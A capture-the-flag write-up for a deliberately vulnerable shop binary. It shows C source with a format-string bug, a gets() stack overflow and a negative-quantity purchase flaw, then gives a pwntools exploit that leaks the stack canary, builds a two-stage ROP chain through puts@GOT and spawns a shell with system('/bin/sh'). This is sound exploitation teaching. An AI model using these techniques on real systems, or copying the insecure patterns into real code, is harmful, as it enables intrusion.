#rop # Understanding the Challenge We were given source and compile options ## Compile Options `gcc vuln.c -no-pie -o vuln` We have a canary, but no PIE ## Source ```c #include <stdio.h> #include <stdlib.h> #include <string.h> #include <time.h> #include <stdint.h> #include <stdbool.h> #define MAX_ITEMS 10 //gcc vuln.c -no-pie -o vuln __attribute__((constructor)) void ignore_me(){ setbuf(stdin, NULL); setbuf(stdout, NULL); setbuf(stderr, NULL); } int wallet = 0x1337; uint32_t item_count = 1; bool owns_special = false; struct item { uint32_t id; char name[0x8]; uint32_t price; }; struct item items[10]; void init_shop() { srand(time(NULL)); items[0].id = 0; items[0].price = 999999; strcpy(items[0].name,"special"); while (item_count < 5) { items[item_count].id = item_count; items[item_count].price = rand() % 999; for (int j = 0; j < 6; j++) { items[item_count].name[j] = 'A' + (rand() % 26); } item_count ++; } } int get_num() { char buf[0x20]; if (fgets(buf, sizeof(buf), stdin) == NULL) { exit(-1); } return atoi(buf); } void view_items() { for (int i = 0; i < item_count; i++) { printf("%d: %s\t\t%d\n",items[i].id, items[i].name, items[i].price); } } void buy_items() { int choice; int num; view_items(); puts("Which item do you want to buy?"); choice = get_num(); puts("How many of this item do you want to buy?"); num = get_num(); if (wallet < items[choice].price) { puts("You dont have enough money to make this purchase."); return; } if (choice == 0) { owns_special = true; } wallet -= num * items[choice].price; printf("Congratulations you bought %d %s's.\n",num,items[choice].name); } void add_item() { if (item_count >= 10) { puts("You have reached the max amount of items to add."); return; } items[item_count].id = item_count; puts("What is your item called?"); fgets(items[item_count].name,0x8,stdin); puts("How much do you want to charge for your item?"); items[item_count].price = get_num(); while(items[item_count].price > 1000) { puts("We dont support such expensive sales, lower your prices!"); items[item_count].price = get_num(); } } void use_special_item() { char buf[0x28]; if (owns_special == false) { puts("You can't use what you don't own"); return; } puts("The special item gives you a stack buffer overflow!"); gets(buf); } void print_shop_menu() { printf("Your current available funds: %d\n\n", wallet); puts("+=========:[ Menu ]:========+"); puts("| [1] View items for sale |"); puts("| [2] Buy items |"); puts("| [3] Put up items for sale |"); puts("| [4] Use special item |"); puts("| [5] Exit Shop |"); puts("+===========================+"); printf("\n > "); } void main() { uint32_t choice; char name[0x5]; init_shop(); puts("Please enter your name to enter our shop:"); fgets(name,sizeof(name),stdin); printf("We hope you enjoy our shop "); printf(name); while(1) { puts("\n\nWelcome to my shop!\nYou can see my offers below.\n"); print_shop_menu(); choice = get_num(); switch(choice) { case(1): view_items(); break; case(2): buy_items(); break; case(3): add_item(); break; case(4): use_special_item(); break; case(5): exit(1); default: puts("Invalid Option."); } } } ``` # The Vuln ## Format Strings Bug We can abuse a FSB in the main function. ```c char name[0x5]; ... puts("Please enter your name to enter our shop:"); fgets(name,sizeof(name),stdin); printf("We hope you enjoy our shop "); printf(name); ``` We only have 5 bytes to work with so not enough to exploit the binary with just FSB. We need another vuln. ## Buffer Overflow The function `use_special_item` has a `gets` we can exploit. ```c void use_special_item() { char buf[0x28]; if (owns_special == false) { puts("You can't use what you don't own"); return; } puts("The special item gives you a stack buffer overflow!"); gets(buf); } ``` To reach this buffer overflow we need to mae `owns_special` true. HLIL of buy_items: ```python int64_t buy_items() int32_t index {Register rax} int32_t num {Register rax} int64_t rax_7 {Register rax} uint64_t rcx_2 {Register rcx} view_items() puts(str: "Which item do you want to buy?") int32_t index = get_num() puts(str: "How many of this item do you want to buy?") int32_t num = get_num() int64_t rax_7 if (items[sx.q(index)].price u> wallet) rax_7 = puts(str: "You dont have enough money to make this purchase.") else if (index == 0) owns_special = 1 uint64_t rcx_2 = zx.q(wallet - num * items[sx.q(index)].price) wallet = rcx_2.d rax_7 = printf(format: "Congratulations you bought %d %s's.\n", zx.q(num), &items[sx.q(index)].name, rcx_2) return rax_7 ``` There isn't any bounds checks for the index so we can specify a negative index. We could use this to find an "item" in memory before the actual items array. However there is an easier solution. We can also supply a negative number for how many items we want to buy. This will instead of subtracting money from the wallet, add money. # The Exploit ## The Leak Abusing the FSB, we can leak the canary. The code below finds the canary is the 9th qword on the stack. ```python from pwn import * context.binary = elf = ELF("./vuln") for x in range(30): io = elf.process() gdb.attach(io,"canary\nc") print(x) leak_payload = f"%{x}$p" io.send(leak_payload) io.interactive() ``` ## Reaching the `gets` As mentioned earlier we can buy negative numbers which will not cost us any money but give us money. Buy the first item `-100000` times and we have enough money to buy the special item and give us a vulnerable `gets` ## Ropchain Ropchain needs to have: - canary - junk for `rbp` - first gadget <- overwriting `saved_rip` - ret <- movaps issue - pop rdi - puts_GOT - puts <- calls puts(puts_GOT) to give use lib leak - main <- allow us to exploit again now know libc Second Stage Payload: - canary - junk for `rbp` - first gadget <- overwriting `saved_rip` - ret <- movaps issue - pop rdi - /bin/sh - system <- calls system("/bin/sh") # Solve ```python from pwn import * context.binary = elf = ELF("./vuln") libc = elf.libc io = elf.process() #gdb.attach(io,"b*0x4016c1") leak_payload = f"%9$p" io.send(leak_payload) io.readuntil(b"We hope you enjoy our shop ") canary = int(io.readline().strip(),16) print("Canary:",hex(canary)) def buy(item,num): io.sendline("2") io.sendline(item) io.sendline(num) def use_item(payload): io.sendline("4") io.sendline(payload) buy("1","-100000") buy("0","1") pop_rdi = 0x4018b3 ret = pop_rdi+1 puts = 0x4010d0 payload = b"" payload += b"A"*0x28 payload += p64(canary) payload += b"C"*8 payload += p64(pop_rdi) payload += p64(elf.got['puts']) payload += p64(puts) payload += p64(elf.symbols['main']) use_item(payload) io.readuntil("The special item gives you a stack buffer overflow!\n") libc_leak = u64(io.readline().strip().ljust(8,b"\x00")) libc.address = libc_leak - libc.symbols['puts'] print("Libc:",hex(libc.address)) payload2 = b"" payload2 += b"A"*0x28 payload2 += p64(canary) payload2 += b"A"*8 payload2 += p64(ret) payload2 += p64(pop_rdi) payload2 += p64(next(libc.search(b"/bin/sh"))) payload2 += p64(libc.symbols['system']) io.clean() io.sendline("hi") use_item(payload2) io.interactive() ```